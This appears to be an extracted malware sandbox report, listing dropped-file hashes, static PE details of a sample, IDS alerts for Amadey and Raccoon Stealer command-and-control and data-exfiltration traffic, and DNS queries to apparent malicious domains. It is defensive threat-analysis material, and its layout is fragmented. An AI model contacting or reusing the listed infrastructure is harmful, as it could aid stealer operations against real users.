SHA1: 91270525521B7FE0D986DB19747F47D34B6318AD

SHA-256: 2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9

SHA-512: 96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBAC
A

Malicious: false

Reputation: unknown

Preview:
{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220114_202138_670.etl
Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 8192

Entropy (8bit): 3.3120109366159496

Encrypted: false

SSDEEP: 96:T0CUkGYb0ypo+a9/5BZD97/YAiVCrJCI2l8sfk96c4zxp+T2CjFzENMCKdJRW:TvdGre4tzj/5rX2qQOzcICqw

MD5: 6490AE63EB9B3C5815B40E8366934541

SHA1: D461416B1863A089E79F6A6407AD74991C977080

SHA-256: E534CBEF71355E4C1F4900551B625055A9D88E86F3E3D49A54B53B202FEDDECD

SHA-512: 4B8438F65C8D081B076F527220925B59008C36E2F1DA259D0601C11CE8E671204E5C531A46C99A653B26C6201D7B56D0C3B54EAF64990916CC38CD59297E3A92

Malicious: false

Reputation: unknown
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 6.693981664711585

TrID: Win32 Executable (generic) a (10002005/4) 
99.83%
Windows Screen Saver (13104/52) 0.13%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: 6zsU4O4WHq.exe

File size: 320000

MD5: 8abe3174cfd23abb63418dfa64109c7c

SHA1: 6370245ac968e309d2916ac9d999797a479b77e4

SHA256: 93fddb1a745fec7ae8bc3a7f8d66ce73b1841998e9b0589
790e924ff6efb6a05

Preview:
.... ... ....................................... ...!...........................p...0...L........................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.........................................
..............@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... ......:.U............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.
:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.
o.s.v.c...2.0.2.2.0.1.1.4._.2.0.2.1.3.8._.6.7.0...e.t.l.........P.P.p...0...L...................................................................................................................................................................
....................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220114_202138_670.etl

C:\Windows\SysWOW64\kxbxjngj\lsjsgslc.exe (copy)

Process: C:\Windows\SysWOW64\cmd.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 11710976

Entropy (8bit): 3.805991215681365

Encrypted: false

SSDEEP: 6144:dwbDZlpg+MKH0e+F4a3TCkh4hXfcAg4SzqHeBcgKlClClClClClClClClClClClc:dUZfgTKH014UBqhEAg4fHe

MD5: 12C7D1AC6B5167E6CDA092CD7B7313A1

SHA1: CE30468D8ED2F2ECCA324513633F2A9F58188240

SHA-256: E91644F9CFFB58E260FACF0CB5ABD35F9B0DA2E5129803A6D4E7B8802814D752

SHA-512: CD24216ABBC1D492652342FA97CBBD9085158FE2102D56265B99E90D47251363FED3B224A0E8DC5A5A352425538B522CBDF7E22FCF160D6207574786790039BC

Malicious: true

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R...............
..PE..L...-..`.........................................@.................................:=..........................................(.......................................................................@...............D............................
text...~........................... ..`.data...............................@....tojid..............................@....vese...............................@....fikazap............................@....rsrc..........................
.....@..@.reloc..XF..........................@..B.........................................................................................................................................................................................................
...............................................

\Device\ConDrv
Process: C:\Windows\SysWOW64\netsh.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 3773

Entropy (8bit): 4.7109073551842435

Encrypted: false

SSDEEP: 48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w

MD5: DA3247A302D70819F10BCEEBAF400503

SHA1: 2857AA198EE76C86FC929CC3388A56D5FD051844

SHA-256: 5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8

SHA-512: 48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8

Malicious: false

Reputation: unknown

Preview:
..A specified value is not valid.....Usage: add rule name=<string>..      dir=in|out..      action=allow|block|bypass..      [program=<program path>]..      [service=<service 
short name>|any]..      [description=<string>]..      [enable=yes|no (default=yes)]..      [profile=public|private|domain|any[,...]]..      [localip=any|<IPv4 address>|<IPv6 a
ddress>|<subnet>|<range>|<list>]..      [remoteip=any|localsubnet|dns|dhcp|wins|defaultgateway|..         <IPv4 address>|<IPv6 address>|<subnet>|<range>|<list>]..      [l
ocalport=0-65535|<port range>[,...]|RPC|RPC-EPMap|IPHTTPS|any (default=any)]..      [remoteport=0-65535|<port range>[,...]|any (default=any)]..      [protocol=0-
255|icmpv4|icmpv6|icmpv4:type,code|icmpv6:type,code|..         tcp|udp|any (default=any)]..      [interfacetype=wireless|lan|ras|any]..      [rmtcomputergrp=<SDDL string>]..      
[rmtusrgrp=<SDDL string>]..      [edge=yes|deferapp|deferuser|no (default=no)]..      [security=authenticate|authenc|authdynenc|authnoencap|
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SHA512: 47c7d676104310d66cbdd3a134803991901f0e9e457589
a9c5ae9685942812095e2b4911dfcb7b7bad606dffc649b
9ebf05ee8fcedd8e3237ae0d46220fee043

SSDEEP: 6144:KX8UTbAX4bIFeFTQa8JyvMzseCbR+gtS+F4KOl
BLN:KXI42oQHmisXR+gtn4K

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.........<...R...
R...R.......R.....g.R..])...R...S...R.......R.......R.......R.Rich..
R.................PE..L...-.@_...................

General

File Icon

Icon Hash: c8d0d8e0f0e8f4e0

General
Entrypoint: 0x41b720

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: TERMINAL_SERVER_AWARE

Time Stamp: 0x5F40B02D [Sat Aug 22 05:42:05 2020 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 0

File Version Major: 5

File Version Minor: 0

Subsystem Version Major: 5

Subsystem Version Minor: 0

Import Hash: 64f7fef844b1e4fdfabf9d9b629075a0

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x3e7ce 0x3e800 False 0.58326953125 data 6.96964040668 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x40000 0x10c988 0x1800 False 0.340983072917 data 3.467803999 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.wec 0x14d000 0x5 0x200 False 0.02734375 data 0.0 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.kaceke 0x14e000 0xea 0x200 False 0.02734375 data 0.0 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.yediwu 0x14f000 0xd93 0xe00 False 0.00697544642857 data 0.0 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x150000 0x83b8 0x8400 False 0.597330729167 data 5.82668306137 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x159000 0x4658 0x4800 False 0.346625434028 data 3.68433795021 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources
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Snort IDS Alerts

Language of compilation system Country where language is spoken Map

Dutch Netherlands

Spanish Colombia

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

01/14/22-
12:22:29.861207

ICMP 486 ICMP Destination Unreachable Communication with Destination Host is Administratively 
Prohibited

188.166.28.199 192.168.2.5

01/14/22-
12:22:32.908549

ICMP 486 ICMP Destination Unreachable Communication with Destination Host is Administratively 
Prohibited

188.166.28.199 192.168.2.5

01/14/22-
12:22:38.910535

ICMP 486 ICMP Destination Unreachable Communication with Destination Host is Administratively 
Prohibited

188.166.28.199 192.168.2.5

01/14/22-
12:23:05.839878

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.839885

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.839976

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.839983

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.840151

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.840818

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.842404

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.842865

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.848070

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.850392

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.850982

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.782907

TCP 2027700 ET TROJAN Amadey CnC Check-In 49886 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.851382

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.853001

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.855776

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.856153

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.856185

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.856255

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.857302

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.858306

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.859496

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

Imports

Possible Origin
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01/14/22-
12:23:05.859960

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.860605

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.861179

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.862704

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.864000

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.864113

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.865478

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.866217

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.867547

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.871008

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.871645

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.873227

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.873905

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.875099

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.875360

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.875769

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.878266

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.879726

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.879768

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.879857

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.880300

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.882706

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.900223

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.900228

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.903845

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.903922

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.903925

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.903948

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.904392

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.904548

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.904553

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.904708

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.905210

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.905444

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.905456

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.907300

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.907318

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP
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Network Port Distribution

01/14/22-
12:23:05.908368

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.909207

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.909329

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.910112

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:05.910326

TCP 1087 WEB-MISC whisker tab splice attack 49887 80 192.168.2.5 185.215.113.35

01/14/22-
12:23:07.216734

TCP 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 49894 80 192.168.2.5 141.8.194.74

01/14/22-
12:23:07.292148

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49894 141.8.194.74 192.168.2.5

01/14/22-
12:23:07.809896

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49896 141.8.194.74 192.168.2.5

01/14/22-
12:23:13.649225

TCP 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 49901 80 192.168.2.5 185.163.204.24

01/14/22-
12:23:15.020744

TCP 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 49901 80 192.168.2.5 185.163.204.24

01/14/22-
12:23:23.764253

TCP 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 49914 80 192.168.2.5 81.163.30.181

01/14/22-
12:23:24.477494

TCP 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 49917 80 192.168.2.5 81.163.30.181

01/14/22-
12:23:32.946914

TCP 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 49927 80 192.168.2.5 185.163.204.24

01/14/22-
12:23:34.290875

TCP 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 49927 80 192.168.2.5 185.163.204.24

01/14/22-
12:23:35.355050

TCP 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 49927 80 192.168.2.5 185.163.204.24

01/14/22-
12:23:16.737220

TCP 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 49901 80 192.168.2.5 185.163.204.24

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 14, 2022 12:22:06.046057940 CET 192.168.2.5 8.8.8.8 0x7104 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:06.224361897 CET 192.168.2.5 8.8.8.8 0x68ce Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:06.716362953 CET 192.168.2.5 8.8.8.8 0xdd07 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:07.192919016 CET 192.168.2.5 8.8.8.8 0x8ead Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:07.370220900 CET 192.168.2.5 8.8.8.8 0x51a Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:07.801644087 CET 192.168.2.5 8.8.8.8 0xf215 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:09.522636890 CET 192.168.2.5 8.8.8.8 0xb76c Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:09.692898035 CET 192.168.2.5 8.8.8.8 0x1663 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:09.882961988 CET 192.168.2.5 8.8.8.8 0xaa4f Standard query 
(0)

data-host-coin-
8.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:15.195437908 CET 192.168.2.5 8.8.8.8 0x96b6 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:15.423296928 CET 192.168.2.5 8.8.8.8 0x627d Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:15.612668991 CET 192.168.2.5 8.8.8.8 0x36cf Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

TCP Packets

UDP Packets

ICMP Packets

DNS Queries
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Jan 14, 2022 12:22:16.100840092 CET 192.168.2.5 8.8.8.8 0x7aa6 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:16.444519997 CET 192.168.2.5 8.8.8.8 0xbadf Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:16.757039070 CET 192.168.2.5 8.8.8.8 0x946d Standard query 
(0)

unicupload.top A (IP address) IN (0x0001)

Jan 14, 2022 12:22:17.109005928 CET 192.168.2.5 8.8.8.8 0x65f1 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:17.272689104 CET 192.168.2.5 8.8.8.8 0xea0c Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:17.440090895 CET 192.168.2.5 8.8.8.8 0x7fe6 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:17.605663061 CET 192.168.2.5 8.8.8.8 0x80f3 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:17.777164936 CET 192.168.2.5 8.8.8.8 0x338 Standard query 
(0)

data-host-coin-
8.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:20.888827085 CET 192.168.2.5 8.8.8.8 0x1131 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:21.173268080 CET 192.168.2.5 8.8.8.8 0x97c8 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:21.377336025 CET 192.168.2.5 8.8.8.8 0xb102 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:21.883605957 CET 192.168.2.5 8.8.8.8 0xb311 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:25.294625044 CET 192.168.2.5 8.8.8.8 0xa5ba Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:25.845247030 CET 192.168.2.5 8.8.8.8 0xd369 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:26.136121035 CET 192.168.2.5 8.8.8.8 0x3dd8 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:26.344242096 CET 192.168.2.5 8.8.8.8 0xa8cf Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:29.275151014 CET 192.168.2.5 8.8.8.8 0x2389 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:29.461452961 CET 192.168.2.5 8.8.8.8 0x5421 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:29.650588036 CET 192.168.2.5 8.8.8.8 0x5544 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:42.230340004 CET 192.168.2.5 8.8.8.8 0x1b37 Standard query 
(0)

microsoft-
com.mail.p
rotection.
outlook.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:44.698966026 CET 192.168.2.5 8.8.8.8 0x7e20 Standard query 
(0)

patmushta.info A (IP address) IN (0x0001)

Jan 14, 2022 12:22:50.904989958 CET 192.168.2.5 8.8.8.8 0xac10 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:51.434209108 CET 192.168.2.5 8.8.8.8 0xc3d6 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:51.666136026 CET 192.168.2.5 8.8.8.8 0x9c41 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:52.195010900 CET 192.168.2.5 8.8.8.8 0xab2b Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:52.532604933 CET 192.168.2.5 8.8.8.8 0xf13d Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:52.724210978 CET 192.168.2.5 8.8.8.8 0x4ab2 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:53.245266914 CET 192.168.2.5 8.8.8.8 0xdc8b Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:53.414208889 CET 192.168.2.5 8.8.8.8 0x6bfe Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:53.886955976 CET 192.168.2.5 8.8.8.8 0x742c Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:54.364729881 CET 192.168.2.5 8.8.8.8 0xba41 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:54.532226086 CET 192.168.2.5 8.8.8.8 0xba9c Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:54.710661888 CET 192.168.2.5 8.8.8.8 0xf14f Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:54.937499046 CET 192.168.2.5 8.8.8.8 0x6f85 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:55.106513023 CET 192.168.2.5 8.8.8.8 0x9d87 Standard query 
(0)

data-host-coin-
8.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:57.515435934 CET 192.168.2.5 8.8.8.8 0x7f67 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)
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Jan 14, 2022 12:22:57.711424112 CET 192.168.2.5 8.8.8.8 0xd94c Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:57.964313984 CET 192.168.2.5 8.8.8.8 0xf6c0 Standard query 
(0)

goo.su A (IP address) IN (0x0001)

Jan 14, 2022 12:22:58.481612921 CET 192.168.2.5 8.8.8.8 0x7a67 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:58.739213943 CET 192.168.2.5 8.8.8.8 0xeeb2 Standard query 
(0)

transfer.sh A (IP address) IN (0x0001)

Jan 14, 2022 12:22:59.023313999 CET 192.168.2.5 8.8.8.8 0x7371 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:59.230624914 CET 192.168.2.5 8.8.8.8 0x8a9 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:59.498707056 CET 192.168.2.5 8.8.8.8 0x99a Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:22:59.855823040 CET 192.168.2.5 8.8.8.8 0x10fa Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:00.069884062 CET 192.168.2.5 8.8.8.8 0xbeab Standard query 
(0)

data-host-coin-
8.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:03.405093908 CET 192.168.2.5 8.8.8.8 0xba53 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:03.690519094 CET 192.168.2.5 8.8.8.8 0xc33f Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:03.963859081 CET 192.168.2.5 8.8.8.8 0xf639 Standard query 
(0)

transfer.sh A (IP address) IN (0x0001)

Jan 14, 2022 12:23:06.325278997 CET 192.168.2.5 8.8.8.8 0x6646 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:06.515687943 CET 192.168.2.5 8.8.8.8 0x1326 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:06.700776100 CET 192.168.2.5 8.8.8.8 0x67a1 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:06.879034042 CET 192.168.2.5 8.8.8.8 0xbbb0 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:07.047687054 CET 192.168.2.5 8.8.8.8 0x9121 Standard query 
(0)

transfer.sh A (IP address) IN (0x0001)

Jan 14, 2022 12:23:07.120877981 CET 192.168.2.5 8.8.8.8 0xe6e0 Standard query 
(0)

a0621298.x
sph.ru

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:07.631154060 CET 192.168.2.5 8.8.8.8 0xb81f Standard query 
(0)

a0621298.x
sph.ru

A (IP address) IN (0x0001)

